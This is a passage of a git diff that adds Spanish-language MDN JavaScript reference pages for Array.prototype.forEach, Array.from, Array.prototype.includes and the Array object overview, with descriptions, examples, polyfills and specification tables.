+<p>El rango de elementos procesados por <code>forEach()</code> se establece antes de la primera invocación del <code>callback</code>. Los elementos que sean añadidos al vector después de que inicie la llamada a <code>forEach</code> no serán visitados por <code>callback</code>. Si los valores de los elementos existentes en el vector son modificados, el valor pasado al <code>callback</code> será el valor al momento de que forEach los visite; no se evaluarán los elementos borrados antes de ser visitados por <code>forEach</code>.</p>
+
+<p><code>forEach()</code> ejecuta la función <code>callback</code> una vez por cada elemento del array; a diferencia de {{jsxref("Array.prototype.map()", "map()")}} o {{jsxref("Array.prototype.reduce()", "reduce()")}} este siempre devuelve el valor {{jsxref("undefined")}} y no es encadenable. El típico uso es ejecutar los efectos secundarios al final de la cadena.</p>
+
+<p><code>foreach()</code> no muta/modifica el array desde el que es llamado (aunque <code>callback</code>, si se invoca, podría hacerlo).</p>
+
+<div class="note"><strong>Nota :</strong> No hay forma de detener o cortar un bucle <code>forEach</code> que no sea lanzar una excepción. Si necesita dicho comportamiento, el método <code>.forEach()</code> es la herramienta equivocada, use una simple iteración en su lugar. Si está probando los elementos del array para un predicado y necesita devolver un valor boleano, puede usar {{jsxref("Array.prototype.every()", "every()")}} o {{jsxref("Array.prototype.some()", "some()")}} en su lugar.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Imprimiendo_el_contenido_de_un_array">Imprimiendo el contenido de un <code>array</code></h3>
+
+<p>El siguiente código imprime una línea por cada elemento en un array:</p>
+
+<pre class="brush:js notranslate">function logArrayElements(element, index, array) {
+    console.log("a[" + index + "] = " + element);
+}
+// Nótese que se evita el 2° índice ya que no hay ningún elemento en esa posición del array
+[2, 5, , 9].forEach(logArrayElements);
+// salida:
+// a[0] = 2
+// a[1] = 5
+// a[2] = 9
+</pre>
+
+<h3 id="Usando_thisArg">Usando <code>thisArg</code></h3>
+
+<p>El siguiente ejemplo actualiza las propiedades del objeto por cada entrada en el array:</p>
+
+<pre class="brush:js notranslate">function Counter() {
+  this.sum = 0;
+  this.count = 0;
+}
+Counter.prototype.add = function(array) {
+  array.forEach(function(entry) {
+    this.sum += entry;
+    ++this.count;
+  }, this);
+  // ^---- Note
+};
+
+var obj = new Counter();
+obj.add([2, 5, 9]);
+obj.count
+// 3
+obj.sum
+// 16</pre>
+
+<p>Nota: Dado que el parámetro <code>thisArg</code> (this) se referencia en el <code>forEach()</code>, será pasado al <code>callback</code> cuando se invoque, para utilizarse como su valor <code>this</code>.</p>
+
+<h3 id="Ejemplo_Función_que_copia_objetos">Ejemplo: Función que copia objetos</h3>
+
+<p>El siguiente código crea una copia de un objeto dado. Hay diferentes formas de crear una copia de un objeto, ésta es sólo una de ellas y sirve para explicar cómo funciona <code>Array.prototype.forEach </code>utilizando funciones <code>Object.*</code> de ECMAScript 5.</p>
+
+<pre class="brush: js notranslate">function copy(o){
+  var copy = Object.create( Object.getPrototypeOf(o) );
+  var propNames = Object.getOwnPropertyNames(o);
+
+  propNames.forEach(function(name){
+    var desc = Object.getOwnPropertyDescriptor(o, name);
+    Object.defineProperty(copy, name, desc);
+  });
+
+  return copy;
+}
+
+var o1 = {a:1, b:2};
+var o2 = copy(o1); // o2 ahora se parece a o1
+</pre>
+
+<h3 id="Si_el_array_se_modifica_durante_la_iteración_otros_elementos_pueden_ser_omitidos.">Si el array se modifica durante la iteración, otros elementos pueden ser omitidos.</h3>
+
+<p>El siguiente ejemplo muestra por consola "uno", "dos", "cuatro". Cuando se alcanza el registro que contiene el valor "dos", el primer registro del array se desplaza, lo que hace que los registros restantes se muevan una posición. Debido a que el elemento "cuatro" está ahora en una posición anterior en el array, "tres" se omitirá. <code>forEach()</code> no hace una copia del array antes de iterar.</p>
+
+<pre class="brush:js notranslate">var words = ['uno', 'dos', 'tres', 'cuatro'];
+words.forEach(function(word) {
+  console.log(word);
+  if (word === 'dos') {
+    words.shift();
+  }
+});
+// uno
+// dos
+// cuatro
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>forEach</code> se agregó de manera reciente al estándar ECMA-262; así que puede no estar presente en otras implementaciones del estándar. Se puede asegurar el uso del <span style="font-family: consolas,monaco,andale mono,monospace;">forEach</span> con tan solo agregar el siguiente código al inicio de los scripts, permitiendo así el uso de <span style="font-family: consolas,monaco,andale mono,monospace;">forEach</span> en implementaciones que no lo soportan de manera nativa. El algoritmo es el mismo que se especifica en la quinta versión de ECMA-262, asumiendo que {{jsxref("Object")}} y {{jsxref("TypeError")}} tienen sus valores originales y que <span style="font-family: consolas,monaco,andale mono,monospace;">callback.call </span>evalúa el valor original de {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js notranslate">// Production steps of ECMA-262, Edition 5, 15.4.4.18
+// Reference: http://es5.github.com/#x15.4.4.18
+if (!Array.prototype.forEach) {
+
+  Array.prototype.forEach = function forEach(callback, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError("this is null or not defined");
+    }
+
+    var kValue,
+        // 1. Let O be the result of calling ToObject passing the |this| value as the argument.
+        O = Object(this),
+
+        // 2. Let lenValue be the result of calling the Get internal method of O with the argument "length".
+        // 3. Let len be ToUint32(lenValue).
+        len = O.length &gt;&gt;&gt; 0; // Hack to convert O.length to a UInt32
+
+    // 4. If IsCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if ({}.toString.call(callback) !== "[object Function]") {
+      throw new TypeError(callback + " is not a function");
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt;= 2) {
+      T = thisArg;
+    }
+
+    // 6. Let k be 0
+    k = 0;
+
+    // 7. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Call the Call internal method of callback with T as the this value and
+        // argument list containing kValue, k, and O.
+        callback.call(T, kValue, k, O);
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+    // 8. return undefined
+  };
+}
+
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.18', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Array.forEach")}}</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/from/index.html b/files/es/web/javascript/referencia/objetos_globales/array/from/index.html
new file mode 100644
index 0000000000..a11d0ebd53
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/from/index.html
@@ -0,0 +1,242 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/from
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Referencia
+  - Vector
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Array.from()</strong></code> crea una nueva instancia de <code>Array</code> a partir de un objeto iterable.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-from.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Array.from(arrayLike[, mapFn[, thisArg]])
+</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>Objeto iterable para convertirlo en un array.</dd>
+ <dt><code>mapFn</code>{{Optional_inline}}</dt>
+ <dd>Función de mapa para llamar a cada elemento de la matriz.</dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Valor para usar como <code>this</code> al ejecutar <code>mapFn</code>.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una nueva instancia de {{jsxref("Array")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Array.from()</code> permite crear <code>Arrays</code> de:</p>
+
+<ul>
+ <li>Objetos array-like (objetos con propiedad <code>length</code> o elementos indexados).</li>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Iteration_protocols">Objetos iterables</a> (objetos de los cuales se pueden obtener sus elementos como {{jsxref("Map")}} y {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from()</code> tiene un parámetro opcional <code>mapFn</code>, que te permite ejecutar una función {{jsxref("Array.prototype.map", "map")}}  a cada elemento del array (o a la subclase del objeto) que se ha creado. Para aclararlo, <code>Array.from(obj, mapFn, thisArg)</code> es igual que <code>Array.from(obj).map(mapFn, thisArg)</code>, excepto en que éste no crea un array intermedio. Esto es importante para ciertas subclases de array, <a href="/es/docs/Web/JavaScript/Vectores_tipados">vectores tipados</a>, ya que el vector intermedio necesitaría tener valores truncados para trabajar con el tipo adecuado.</p>
+
+<p>La propiedad <code>length</code> del método <code>from()</code> es 1.</p>
+
+<p>En ES2015, la sintaxis de clase permite la subclasificación de clases integradas y definidas por el usuario; como resultado, los métodos estáticos como <code>Array.from</code> son "heredados" por subclases de <code>Array</code> y crean nuevas instancias de la subclase, no <code>Array</code>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Array_desde_un_String">Array desde un <code>String</code></h3>
+
+<pre class="brush: js">Array.from('foo');
+// [ "f", "o", "o" ]</pre>
+
+<h3 id="Array_desde_un_Set">Array desde un <code>Set</code></h3>
+
+<pre class="brush: js">const set = new Set(['foo', 'bar', 'baz', 'foo']);
+Array.from(set);
+// [ "foo", "bar", "baz" ]</pre>
+
+<h3 id="Array_desde_un_Map">Array desde un <code>Map</code></h3>
+
+<pre class="brush: js">const map = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(map);
+// [[1, 2], [2, 4], [4, 8]]
+
+const mapper = new Map([['1', 'a'], ['2', 'b']]);
+Array.from(mapper.values());
+// ['a', 'b'];
+
+Array.from(mapper.keys());
+// ['1', '2'];
+</pre>
+
+<h3 id="Array_desde_un_objeto_Array-like_(argumentos)">Array desde un objeto Array-like (argumentos)</h3>
+
+<pre class="brush: js">function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+
+// [ 1, 2, 3 ]</pre>
+
+<h3 id="Usando_una_función_de_flecha_y_Array.from">Usando una función de flecha y <code>Array.from</code></h3>
+
+<pre class="brush: js">// Usando una función de flecha como función
+// para manipular los elementos
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+
+// Generar secuencia de números
+// Puesto que el array se inicializa con `undefined` en cada posición,
+// el valor de `v` a continuación será `undefined`
+Array.from({length: 5}, (v, i) =&gt; i);
+// [0, 1, 2, 3, 4]
+</pre>
+
+<h3 id="Generador_de_secuencia_(rango)">Generador de secuencia (rango)</h3>
+
+<pre class="brush: js">// Función generadora de secuencia (comúnmente llamado "rango", ej. Clojure, PHP, etc.)
+const range = (start, stop, step) =&gt; Array.from({ length: (stop - start) / step + 1}, (_, i) =&gt; start + (i * step));
+
+// Genera un rango de números entre 0..4
+range(0, 4, 1);
+// [0, 1, 2, 3, 4]
+
+// Genera un rango de números entre 1..10 con saltos de 2
+range(1, 10, 2);
+// [1, 3, 5, 7, 9]
+
+// Generar el abecedario utilizando Array.from haciendo uso de que se ordena como secuencia
+range('A'.charCodeAt(0), 'Z'.charCodeAt(0), 1).map(x =&gt; String.fromCharCode(x));
+// ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Array.from</code> fue añadido en el estándar ECMA-262 en la 6ta edición (ES2015); así que no puede estar presente en otras implementaciones del estándar. Puedes usarlo insertando este código al comienzo de sus scripts, permitiendo el uso de <code>Array.from</code> en implementaciones que no lo soportan. Este algoritmo es el mismo especificado en ECMA-262, 6ta edición, suponiendo que <code>Object</code> y <code>TypeError</code> tengan sus valores originales y <code>callback.call</code> evalúa el valor original de {{jsxref("Function.prototype.call")}}. Adicionalmente, ya que verdaderos iterables pueden no ser polyficados, esta implementación no soporta iterables genéricos como definidos en la 6ta edición de ECMA-262.</p>
+
+<pre class="brush: js">// Pasos de producción de ECMA-262, Edición 6, 22.1.2.1
+// Referencia: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
+if (!Array.from) {
+  Array.from = (function () {
+    var toStr = Object.prototype.toString;
+    var isCallable = function (fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // La propiedad length del método from es 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Deje a C ser el este valor.
+      var C = this;
+
+      // 2. Deje que los elementos sean ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. Retornar IfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError("Array.from requiere un objeto array-like - not null or undefined");
+      }
+
+      // 4. Si mapfn no está definida, entonces deja que sea false.
+      var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. si no
+        // 5. a If IsCallable(mapfn) es false, lanza una excepción TypeError.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: si hay mapFn, el segundo argumento debe ser una función');
+        }
+
+        // 5. b. Si thisArg se suministró, deje que T sea thisArg; si no, deje que T esté indefinido.
+        if (arguments.length &gt; 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Let lenValue be Get(items, "length").
+      // 11. Let len be ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. If IsConstructor(C) is true, then
+      // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.
+      // 14. a. Else, Let A be ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Let k be 0.
+      var k = 0;
+      // 17. Repeat, while k &lt; len… (also steps a - h)
+      var kValue;
+      while (k &lt; len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Let putStatus be Put(A, "length", len, true).
+      A.length = len;
+      // 20. Return A.
+      return A;
+    };
+  }());
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/includes/index.html b/files/es/web/javascript/referencia/objetos_globales/array/includes/index.html
new file mode 100644
index 0000000000..3831c7d73d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/includes/index.html
@@ -0,0 +1,181 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/includes
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>includes()</strong></code> determina si una matriz incluye un determinado elemento, devuelve <code>true</code> o <code>false</code> según corresponda.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-includes.html")}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre><var>arr</var>.includes(<var>searchElement[</var>, <var>fromIndex]</var>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valueToFind</code></dt>
+ <dd>
+ <p>El valor a buscar.</p>
+
+ <div class="blockIndicator note">
+ <p><strong>Nota: </strong>Al comparar cadenas de texto y caracteres, <code>includes()</code> <strong>distingue mayúsculas y minúsculas</strong>.</p>
+ </div>
+ </dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>Posición en la matriz en la cuál se debe comenzar a buscar <code>valueToFind</code>; el primer caracter a buscar se encuentra en <code>fromIndex</code>. Un valor negativo inicia la búsqueda desde array.length + fromIndex en adelante. El valor por defecto es 0.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un {{jsxref ("Boolean")}} que es <code>true</code> si el valor <code>valueToFind</code> se encuentra dentro de la matriz (o la parte de la matriz indicada por el índice <code>fromIndex</code>, si se especifica). Todos los valores de cero se consideran iguales independientemente del signo (es decir, -0 se considera igual a 0 y +0), pero <code>false</code> no se considera igual a 0.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Técnicamente hablando, <code>include()</code> usa el algoritmo <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Same-value-zero_equality">sameValueZero</a></code> para determinar si se encuentra el elemento dado</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h3 id="fromIndex_es_mayor_o_igual_que_la_longitud_de_la_matriz"><code>fromIndex</code> es mayor o igual que la longitud de la matriz</h3>
+
+<p>Si <code>fromIndex</code> es mayor o igual que la longitud de la matriz, se devuelve <code>false</code>. No se buscará en la matriz.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+arr.includes('c', 3);   // false
+arr.includes('c', 100); // false</pre>
+
+<h3 id="El_índice_calculado_es_menor_que_0">El índice calculado es menor que 0</h3>
+
+<p>Si <code>fromIndex</code> es negativo, el índice calculado se calcula para usarse como una posición en la matriz en la cual comenzar a buscar <code>searchElement</code>. Si el índice calculado es menor que 0, se buscará la matriz completa.</p>
+
+<pre class="brush: js">// la longitud de la matriz es 3
+// fromIndex es -100
+// el índice calculado es 3 + (-100) = -97
+
+var arr = ['a', 'b', 'c'];
+
+arr.includes('a', -100); // true
+arr.includes('b', -100); // true
+arr.includes('c', -100); // true</pre>
+
+<h3 id="includes()_utilizado_como_método_genérico"><code>includes()</code> utilizado como método genérico</h3>
+
+<p>El método <code>includes()</code> es intencionalmente genérico. No requiere que este valor sea un objeto Array, por lo que se puede aplicar a otros tipos de objetos (por ejemplo, objetos tipo array). El siguiente ejemplo ilustra el método <code>includes()</code> llamado en el objeto de argumentos de la función.</p>
+
+<pre class="brush: js">(function() {
+  console.log([].includes.call(arguments, 'a')); // true
+  console.log([].includes.call(arguments, 'd')); // false
+})('a','b','c');</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.includes
+if (!Array.prototype.includes) {
+  Object.defineProperty(Array.prototype, 'includes', {
+    value: function(searchElement, fromIndex) {
+
+      if (this == null) {
+        throw new TypeError('"this" es null o no está definido');
+      }
+
+      // 1. Dejar que O sea ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Dejar que len sea ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // 3. Si len es 0, devuelve false.
+      if (len === 0) {
+        return false;
+      }
+
+      // 4. Dejar que n sea ? ToInteger(fromIndex).
+      //    (Si fromIndex no está definido, este paso produce el valor 0.)
+      var n = fromIndex | 0;
+
+      // 5. Si n ≥ 0, entonces
+      //  a. Dejar que k sea n.
+      // 6. Else n &lt; 0,
+      //  a. Dejar que k sea len + n.
+      //  b. Si k &lt; 0, Dejar que k sea 0.
+      var k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+      function sameValueZero(x, y) {
+        return x === y || (typeof x === 'number' &amp;&amp; typeof y === 'number' &amp;&amp; isNaN(x) &amp;&amp; isNaN(y));
+      }
+
+      // 7. Repite, mientras k &lt; len
+      while (k &lt; len) {
+        // a. Dejar que elementK sea el resultado de ? Get(O, ! ToString(k)).
+        // b. Si SameValueZero(searchElement, elementK) es true, devuelve true.
+        if (sameValueZero(o[k], searchElement)) {
+          return true;
+        }
+        // c. Incrementa k por 1.
+        k++;
+      }
+
+      // 8. Devuelve false
+      return false;
+    }
+  });
+}</pre>
+
+<p>Si necesita admitir motores de JavaScript realmente obsoletos que no son compatibles con <code><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, es mejor no rellenar los métodos <code>Array.prototype</code>, ya que no puede hacerlos no enumerables.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.includes")}}</p>
+</div>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/index.html b/files/es/web/javascript/referencia/objetos_globales/array/index.html
new file mode 100644
index 0000000000..e4358cf6d1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/index.html
@@ -0,0 +1,451 @@
+---
+title: Array
+slug: Web/JavaScript/Referencia/Objetos_globales/Array
+tags:
+  - Array
+  - JavaScript
+  - Matriz unidimensional
+  - Referencia
+  - Vector
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<p>{{JSRef}}<br>
+ El objeto <strong><code>Array</code> </strong>de JavaScript es un objeto global que es usado en la construcción de <em>arrays</em>, que son objetos tipo lista de alto nivel.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los <em>arrays</em> son objetos similares a una lista cuyo prototipo proporciona métodos para efectuar operaciones de recorrido y de mutación. Tanto la longitud como el tipo de los elementos de un <em>array</em> son variables. Dado que la longitud de un <em>array </em>puede cambiar en cualquier momento, y los datos se pueden almacenar en ubicaciones no contiguas, no hay garantía de que los <em>arrays </em>de JavaScript sean densos; esto depende de cómo el programador elija usarlos. En general estas características son cómodas, pero si, en su caso particular, no resultan deseables, puede considerar el uso de <em>arrays</em> con tipo.</p>
+
+<h3 id="Operaciones_habituales">Operaciones habituales</h3>
+
+<p><strong>Crear un Array</strong></p>
+
+<pre class="brush: js notranslate">let frutas = ["Manzana", "Banana"]
+
+console.log(frutas.length)
+// 2
+</pre>
+
+<p><strong>Acceder a un elemento de Array mediante su índice</strong></p>
+
+<pre class="brush: js notranslate">let primero = frutas[0]
+// Manzana
+
+let ultimo = frutas[frutas.length - 1]
+// Banana</pre>
+
+<p><strong>Recorrer un Array</strong></p>
+
+<pre class="brush: js notranslate">frutas.forEach(function(elemento, indice, array) {
+    console.log(elemento, indice);
+})
+// Manzana 0
+// Banana 1</pre>
+
+<p><strong>Añadir un elemento al final de un Array</strong></p>
+
+<pre class="brush: js notranslate">let nuevaLongitud = frutas<strong>.push</strong>('Naranja') // Añade "Naranja" al final
+// ["Manzana", "Banana", "Naranja"]</pre>
+
+<p><strong>Eliminar el último elemento de un Array</strong></p>
+
+<pre class="brush: js notranslate">let ultimo = frutas<strong>.pop</strong>() // Elimina "Naranja" del final
+// ["Manzana", "Banana"]</pre>
+
+<p><strong>Añadir un elemento al principio de un Array</strong></p>
+
+<pre class="brush: js notranslate">let nuevaLongitud = frutas<strong>.unshift</strong>('Fresa') // Añade "Fresa" al inicio
+// ["Fresa" ,"Manzana", "Banana"]
+</pre>
+
+<p><strong>Eliminar el primer elemento de un Array</strong></p>
+
+<pre class="brush: js notranslate">let primero = frutas<strong>.shift</strong>() // Elimina "Fresa" del inicio
+// ["Manzana", "Banana"]
+</pre>
+
+<p><strong>Encontrar el índice de un elemento del Array</strong></p>
+
+<pre class="brush: js notranslate">frutas.push('Fresa')
+// ["Manzana", "Banana", "Fresa"]
+
+let pos = frutas<strong>.indexOf</strong>('Banana') // (pos) es la posición para abreviar
+// 1</pre>
+
+<p><strong>Eliminar un único elemento mediante su posición</strong></p>
+
+<dl>
+ <dt>  Ejemplo:</dt>
+ <dd>Eliminamos "Banana" del <em>array </em>pasándole dos parámetros: la posición del primer elemento que se elimina y el número de elementos que queremos eliminar. De esta forma, <code><strong>.splice</strong>(pos, 1)</code> empieza en la posición que nos indica el valor de la variable <code>pos</code> y elimina 1 elemento. En este caso, como <code>pos</code> vale 1, elimina un elemento comenzando en la posición 1 del <em>array,</em> es decir "Banana".</dd>
+</dl>
+
+<pre class="brush: js notranslate">let elementoEliminado = frutas<strong>.splice</strong>(pos, 1)
+// ["Manzana", "Fresa"]</pre>
+
+<p><strong>Eliminar varios elementos a partir de una posición</strong></p>
+
+<dl>
+ <dt>  Nota:</dt>
+ <dd>Con <code><strong>.splice</strong>()</code> no solo se puede eliminar elementos del array, si no que también podemos extraerlos guardándolo en un nuevo array. ¡Ojo! que al hacer esto estaríamos modificando el array de origen.</dd>
+</dl>
+
+<pre class="brush: js notranslate">let vegetales = ['Repollo', 'Nabo', 'Rábano', 'Zanahoria']
+console.log(vegetales)
+// ["Repollo", "Nabo", "Rábano", "Zanahoria"]
+
+let pos = 1, numElementos = 2
+
+let elementosEliminados = vegetales<strong>.splice</strong>(pos, numElementos)
+// ["Nabo", "Rábano"] ==&gt; Lo que se ha guardado en "elementosEliminados"
+
+console.log(vegetales)
+// ["Repollo", "Zanahoria"] ==&gt; Lo que actualmente tiene "vegetales" </pre>
+
+<p><strong>Copiar un Array</strong></p>
+
+<pre class="brush: js notranslate">let copiaArray = vegetales<strong>.slice</strong>();
+// ["Repollo", "Zanahoria"]; ==&gt; Copiado en "copiaArray"</pre>
+
+<h3 id="Acceso_a_elementos_de_un_array">Acceso a elementos de un <em>array</em></h3>
+
+<p>Los índices de los <em>arrays</em> de JavaScript comienzan en cero, es decir, el índice del primer elemento de un <em>array</em> es <code>0</code>, y el del último elemento es igual al valor de la propiedad <code>length</code> del <em>array </em>restándole 1.</p>
+
+<p>Si se utiliza un número de índice no válido, se obtendrá <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let arr = ['este es el primer elemento', 'este es el segundo elemento', 'este es el último elemento']
+console.log(arr[0])              // escribe en consola 'este es el primer elemento'
+console.log(arr[1])              // escribe en consola 'este es el segundo elemento'
+console.log(arr[arr.length - 1]) // escribe en consola 'este es el último elemento'
+</pre>
+
